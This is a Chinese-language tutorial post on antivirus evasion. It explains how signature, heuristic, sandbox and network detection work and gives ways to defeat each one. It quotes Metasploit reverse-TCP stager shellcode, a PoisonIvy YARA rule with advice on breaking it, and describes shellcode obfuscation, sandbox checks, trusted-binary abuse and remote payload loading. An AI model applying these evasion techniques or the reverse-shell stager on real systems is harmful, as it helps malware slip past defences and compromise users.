免杀基础入门篇

0x00 前言

浅析杀软原理及一些绕过思路

杀软原理:

0x01 静态查杀:

1.特征码识别:

杀软有自己的病毒库,里面有很多样本,扫描时会抽取扫描对象的一段特征并与病毒库里作比较,如果匹配,那就会认为是病毒。抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面又不要有太大的空间与时间的开销。如果一种病毒的特征代码增长一字节,要检测3000种病毒,增加的空间就是3000字节。在保持唯一性的前提下,尽量使特征代码长度短些,以减少空间与时间开销。

主要扫描的有:

hash、文件名、函数名、敏感字符串、敏感api等等

2.云查杀:

云查杀的不同点在于它的病毒库是放在服务器端的,而不是本地客户端,意思是只要联网病毒库就会同步更新,这种病毒库更加强大。

3.校验和法

根据正常文件的内容,计算其校验和,定期不定期的检查文件的校验是否与正常的校验和一样。其实本质还是特征码,万变不离其宗

4.启发式扫描:

但是面对未知的病毒,换个模样杀软就认不出了吗?所以安全厂商研究出了启发式算法

启发式则是将一类病毒总结后,归纳其特征,其后的演变都为一类病毒,这就是启发式算法。具体启发式算法可以由杀软来定,比如可以使用机器学习把家族病毒聚类,或简单的通过使用通用型yara规则,例如文件大小小于100kb,且没有图标则可以识别为病毒,以此达到查杀病毒。

eg:

这是msf的shellcode:

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
;-----------------------------------------------------------------------------;
[BITS 64]

; Input: RBP must be the address of 'api_call'.
; Output: RDI will be the socket for the connection to the server
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15

reverse_tcp:
  ; setup the structures we need on the stack...
  mov r14, 'ws2_32'
  push r14               ; Push the bytes 'ws2_32',0,0 onto the stack.
  mov r14, rsp           ; save pointer to the "ws2_32" string for LoadLibraryA call.
  sub rsp, 408+8         ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)
  mov r13, rsp           ; save pointer to the WSAData structure for WSAStartup call.
  mov r12, 0x0100007F5C110002        
  push r12               ; host 127.0.0.1, family AF_INET and port 4444
  mov r12, rsp           ; save pointer to sockaddr struct for connect call
  ; perform the call to LoadLibraryA...
  mov rcx, r14           ; set the param for the library to load
  mov r10d, 0x0726774C   ; hash( "kernel32.dll", "LoadLibraryA" )
  call rbp               ; LoadLibraryA( "ws2_32" )
  ; perform the call to WSAStartup...
  mov rdx, r13           ; second param is a pointer to this stuct
  push 0x0101            ;
  pop rcx                ; set the param for the version requested
  mov r10d, 0x006B8029   ; hash( "ws2_32.dll", "WSAStartup" )
  call rbp               ; WSAStartup( 0x0101, &WSAData );
  ; perform the call to WSASocketA...
  push rax               ; if we succeed, rax wil be zero, push zero for the flags param.
  push rax               ; push null for reserved parameter
  xor r9, r9             ; we do not specify a WSAPROTOCOL_INFO structure
  xor r8, r8             ; we do not specify a protocol
  inc rax                ;
  mov rdx, rax           ; push SOCK_STREAM
  inc rax                ;
  mov rcx, rax           ; push AF_INET
  mov r10d, 0xE0DF0FEA   ; hash( "ws2_32.dll", "WSASocketA" )
  call rbp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
  mov rdi, rax           ; save the socket for later
  ; perform the call to connect...
  push byte 16           ; length of the sockaddr struct
  pop r8                 ; pop off the third param
  mov rdx, r12           ; set second param to pointer to sockaddr struct
  mov rcx, rdi           ; the socket
  mov r10d, 0x6174A599   ; hash( "ws2_32.dll", "connect" )
  call rbp               ; connect( s, &sockaddr, 16 );
  ; restore RSP so we dont have any alignment issues with the next block...
  add rsp, ( (408+8) + (8*4) + (32*4) ) ; cleanup the stack allocations

可以看到调用了两个dll,ws2_32.dll(实现socket通信,建立攻击机与目标机器的连接),kernel32.dll(内核级别的dll,存放在C:\windows\system32文件夹中,它控制着系统的内存管理、数据的输入输出操作与中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域)

重点查杀

mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )

为什么?还不是因为它功能强大,是很多病毒爱好者的得力助手,所以被各大杀软盯的很死。

同样,cs中的两个特征

1.profile中的stage,我这里拿到的是apt的样本,可以看到是加密混淆后的

2.导出函数 ReflectiveLoader也是在杀软的豪华套餐上的,它是用来导出反射注入的dll,可以修改这个导出函数的名称来进行绕过。

(程序运行时将exe、dll文件加载到内存并执行一些操作的过程,这个过程称为反射,它的优点是不落盘,直接载入目标内存中执行 ,dll放在server端,目标通过下载器直接加载到内存中执行)通常这种反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

ps: 关于更多分析cobalt strike,大家可以去网上看各种魔改的文章。

yara规则:
meta:
        description = "PoisonIvy RAT Generic Rule"
        license = "https://creativecommons.org/licenses/by-nc/4.0/"
        author = "Florian Roth"
        date = "2015-05-14"
        hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
    strings:
        $k1 = "Tiger324{" fullword ascii

        $s2 = "WININET.dll" fullword ascii
        $s3 = "mscoree.dll" fullword wide
        $s4 = "WS2_32.dll" fullword
        $s5 = "Explorer.exe" fullword wide
        $s6 = "USER32.DLL"
        $s7 = "CONOUT$"
        $s8 = "login.asp"

        $h1 = "HTTP/1.0"
        $h2 = "POST"
        $h3 = "login.asp"
        $h4 = "check.asp"
        $h5 = "result.asp"
        $h6 = "upload.asp"
    condition:
        uint16(0) == 0x5a4d and filesize < 500KB and
            ( 
                $k1 or all of ($s*) or all of ($h*)
            )
}

简单分析下这段yara规则,标记了hash,最终的匹配规则是 文件大小在500kb以内 并且满足 $k1/all $s/all $h 中的任意一条,即被认定是病毒。这时候就可以根据破坏相应的规则,比如大小改为500kb+,不去调用相应的dll等来 bypass。

静态免杀方法:

针对静态查杀的原理,匹配对应的特征试别为病毒,那么我们让杀软试别不出这是病毒不就可以了。给出最简单的两种方式:

MYCCL查找特征码修改:

找到杀软查杀的特征码,修改,替换,编码等等在不影响程序运行的情况下,把特征码改的面目全非,删掉也可以。

这个工具算是很老的了,具体使用方法不再阐述。

这里是针对查杀的字符串进行拆分替换。

但是这种定位特征码的办法只能针对本地病毒库,面对云查杀会束手无策,云查杀会产生越来越多的特征码,这种情况可以改为内存加载,在内存里面做免杀,或者利用白加黑…….

对shellcode进行加密编码

一些编码方法

1、在特定位置添加垃圾字节
2、使用硬编码的单字节密钥对字节进行XOR或者加减法运算
3、将字节移位某些特定位置
4、交换连续字节

涉及到一些密码学的知识,非对称加密比对称加密效果要好,自己可以定义私钥,个人最喜欢异或,简单有效。

比如这里,先对shellcode进行一层异或加密生成decode_shellcode,然后再encode 执行。当然现在这么简单的异或已经不行了,可以多层异或,多个key,改的他妈都不认识。将shellcode写入内存的方法也是多种多样,下文中有提到,这里只讨论加密混淆。当然也可以使用其他加密方式,思路都一样的嘛

下面是GitHub的一个用 base64 混淆的项目,简单说就是将shellcode多层base64编码后,再加载执行,这里加载执行写入内存的方式也是最简单的加载方式。想要效果更好,可以用更强的加密方式,更隐蔽的将shellcode写入内存的方式。

可以看看效果

小红伞没有识别出,所以给了警告。

附:现在很多杀软也会针对 sleep 函数进行识别,一般正常的文件执行不会sleep,这时候杀软不得注意一下?

0x02 动态查杀(主动防御)

动态查杀指的是 程序在运行的过程中执行了某些敏感操作,导致杀软查杀。

谈到动态查杀不得不提一个东西叫沙盒。

沙盒:也叫启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为

沙盒模拟的常见特征:

特征 原因 bypass
内存较小 不影响计算机正常运行 检测计算机内存是不是很小(判断是否是真实计算机)
时间较快 沙盒内置的时间速度比现实世界要快,提高查杀速度,沙盒中的时间流逝很快 c语言函数判断1s是否有1000ms/判断是否是utc时间
进程或文件不完整 减少杀毒软件运行时对计算机的消耗 判断操作系统进程的个数/调用不可能存在的文件
io设备缺失 鼠标键盘等事件大部分沙盒都没有 检测驱动 usb等/判断鼠标的移动速度等

其实主要就是找一台真实的计算机和沙盒的区别到底在哪,找到那些真实的计算机具有而模拟的计算机无法具有的特征,进行绕过即可,思路很简单,也很广,自己拓展会发现更多有意思的点。

下面说一下杀软监控动态查杀的点:

计算机相关

  1. 系统服务(指的是这些)

  1. 注册表(键值) 修改注册表的行为一般都是敏感行为(高危添加用户、删除用户,没有十足把握bypass,还是算了)

  2. 组策略

  3. 防火墙

  4. 敏感程序(cmd powershell wmi psexec bitsadmin rundll 等)

  5. 各种 win32api

    这里强调一下,监控进程调用的api不止是api名字,还包括api的 调用顺序、调用源、参数等等 。 相应的bypass,

    用实现同样功能的api替换
    重写对应的api
    调用0环的api绕过3环杀软

    等等,肯定不止这些, 说起来很容易,但具体实现需要很深的底层功底,起码对Windows操作系统的底层实现,win32api等很熟悉,这就需要内功。

  6. 文件夹

    C:/windows/system32   
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\tmp等敏感文件夹(cs、msf都会在tmp文件夹下生成一些东西)

绕过白加黑 算是一个很好的方法,指的是利用Windows系统的一些白文件去执行相应的敏感操作,就不会触发杀软警告,想一想,有哪个普通的程序去执行添加用户的操作呢?

说到底,白加黑解决的是 Windows里面 信任与权限的问题,Windows 都相信你,它一个杀软有什么办法,权限指的是你的权限是否比杀软的权限高,如果你在0环,杀软在3环,它也没有权限来管你,更不用说kill。

网络相关

1.流量特征: cobalt strike 的通信协议,是由 RSA 传输 AES 的密钥,AES的密钥加密后续通信,这也是c2的常规通信手法,但未经修改的profile 和证书,很容易被检测到。

2.内容特征:data字段是否存在命令相关的关键词加密特征(payload是否通讯加密,明文传输就会被查杀)

3.结构特征: 是否存在已知远控的通讯结构( cs 中 beacon 有 sleep)

4.IP : 是否被情报系统标记为恶意

绕过:

  • tcp分段:指的是数据包在传输过程中切分后以小段传输(效果也不错,但是网络连接不好很容易断掉)

  • 内容加密:针对传输的内容,比如那些执行命令的字符串等等,加密混淆,加密还是不要用简单的编码,你简单的base64编码一下,杀软、edr等还是可以检测到,最好用非对称加密

  • 使用合法证书 : 这个自己找渠道获得吧……

payload基本结构

分段传输:

eg:

msfvenom 的meterpreter/reverse_https模块

stager:

stage0:初始shellcode(通常称为stage0)会创建一个新的连接到攻击者的机器并将更大的有效载荷(stage1)读入内存。收到有效载荷后,stage0 会将控制权交给新的更大的有效载荷。stage0 只负责建立通信连接,不能够执行命令(getuid、getsystem等)

stage1(metsrv):stage0执行完后发送stage1到目标机器并写入内存,弹回meterpreter会话,我们在meterpreter里执行的命令,还有加载的模块(load kiwi等)都是stage1的功劳

这里 Sending stage (175174 bytes) 可以看到体积比较大,就是stage1

很多分段加载骚思路也是基于stager来实现,初始投递的文件非常小,载入内存后,在内存中解密加载 加载器,然后加载器再解密加载shellcode。具体实现方法也多种多样,各种语言,c#,go等。

整段传输

一次性发送很大的stage

meterpreter_reverse_https

stageless:

建立通信连接+执行命令

可以看到两种stage的体积差别

显然这种效果不如stager的效果好。

再简单看一下stager的汇编,不需要全部看懂,只有这么多代码,找到关键的功能

try_connect

;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]

; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

reverse_tcp:
  push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
  push 0x5F327377        ; ...
  push esp               ; Push a pointer to the "ws2_32" string on the stack.
  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
  call ebp               ; LoadLibraryA( "ws2_32" )

  mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
  sub esp, eax           ; alloc some space for the WSAData structure
  push esp               ; push a pointer to this stuct
  push eax               ; push the wVersionRequested parameter
  push 0x006B8029        ; hash( "ws2_32.dll", "WSAStartup" )
  call ebp               ; WSAStartup( 0x0190, &WSAData );

  push eax               ; if we succeed, eax wil be zero, push zero for the flags param.
  push eax               ; push null for reserved parameter
  push eax               ; we do not specify a WSAPROTOCOL_INFO structure
  push eax               ; we do not specify a protocol
  inc eax                ;
  push eax               ; push SOCK_STREAM
  inc eax                ;
  push eax               ; push AF_INET
  push 0xE0DF0FEA        ; hash( "ws2_32.dll", "WSASocketA" )
  call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
  xchg edi, eax          ; save the socket for later, don't care about the value of eax after this

set_address:
  push byte 0x05         ; retry counter
  push 0x0100007F        ; host 127.0.0.1
  push 0x5C110002        ; family AF_INET and port 4444
  mov esi, esp           ; save pointer to sockaddr struct

try_connect:
  push byte 16           ; length of the sockaddr struct
  push esi               ; pointer to the sockaddr struct
  push edi               ; the socket
  push 0x6174A599        ; hash( "ws2_32.dll", "connect" )
  call ebp               ; connect( s, &sockaddr, 16 );

  test eax,eax           ; non-zero means a failure
  jz short connected

handle_failure:
  dec dword [esi+8]
  jnz short try_connect

failure:
  push 0x56A2B5F0        ; hardcoded to exitprocess for size
  call ebp

connected:

因此可以看出stager仅仅是连接功能,而不能够进行其他操作。可以自己去GitHub找msf的模块来对比,文末也会放上链接。

​ 还要提一点:msf加载的各种命令 比如powershell kiwi这种,是各种反射注入的dll,反射注入到执行的进程上

其中的msf中的进程迁移:是在无文件落地的情况下,将内存中的shellcode注入到其他进程。

关于无文件落地,比较复杂,我太菜了,等研究到再单独写一篇…

下面说一点免杀的方法和思路:

分离免杀

因为shellcode在程序里面很容易被查杀,像下面是最常用的加载shellcode的方式,内联汇编执行,函数指针执行,强制转换等等,当然很明显,这几种现在都是不免杀的。

要提一下内联汇编中的 _emit 0xff _emit 0xE0是硬编码执行,与 jmp eax /call eax的作用是一样的,网上有很多文章说是花指令,用来干扰杀软的,但在我实际测试中,删掉是无法加载shellcode的。

这里的分离免杀是用 msfvenom 生成一段raw格式的shellcode 放在 png 图片里,然后加载器 将shellcode写入内存中

经测试,可以简单的过掉火绒,360没有测试,会被小红伞杀。因为这里将shellcode写入内存的方式还是前面说的最简单的方式,换橙其他加载方式,应该也是可以过掉的。

分离免杀包括但不限于

shellcode从文本提取 
shellcode与加载器分离
远程加载shellcode(shellcode放在另一台主机上,走http协议下载)
管道运输
隐写在图片上,powershell加载

具体的其他分离免杀可以去网上找对应的实现,这里仅仅介绍并提供思路。

当然传统的这些函数早已被杀软加入豪华套餐

WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle

但幸运的是,Windows 提供了许多不同的库,可用于下载数据,例如winInet、WinHTTP 和 Windows Sockets。通过切换到更加手动的基于套接字的实现 ,如果使用这些第三方库或使用系统自带的下载命令,被杀软查杀的概率会小很多。

其他免杀思路

远程线程注入远程加载管道传输白加黑父进程调用子进程

等等,还有其他骚思路……万变不离其宗

总结

做免杀,首先要原理烂熟于心,得知道为什么会被杀,杀的哪里,才有目的的去做,而不是啥都不懂,就去盲杀(在不清楚杀软规则好像也只能这样… 但是效率很低嘛)

前面也介绍了各种免杀的思路,可以自己去扩充,上面主要是基于c/cpp来实现,也可以用其他语言 powershell /c#/go/nim/python等来实现。方法还是很多的,但前提是要有一定的底层知识储备。

下面两张图刚开始看会觉得很空,但仔细研究会发现做免杀就是根据这个步骤来的,整个流程很清晰,只不过在实现的过程中需要大量的底层知识来支撑罢了。

希望可以给大家带来一点帮助,祝大家早日拳打火眼,脚踢卡巴斯基,bypass全球杀软~

参考链接:
恶意程序编写之免杀基础 - SecPulse.COM | 安全脉搏
免杀的艺术:PE文件后门的植入(二) - 知乎 (zhihu.com)
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm
https://blog.f-secure.com/dynamic-shellcode-execution/
https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/

点击收藏 | 8 关注 | 3
登录 后跟帖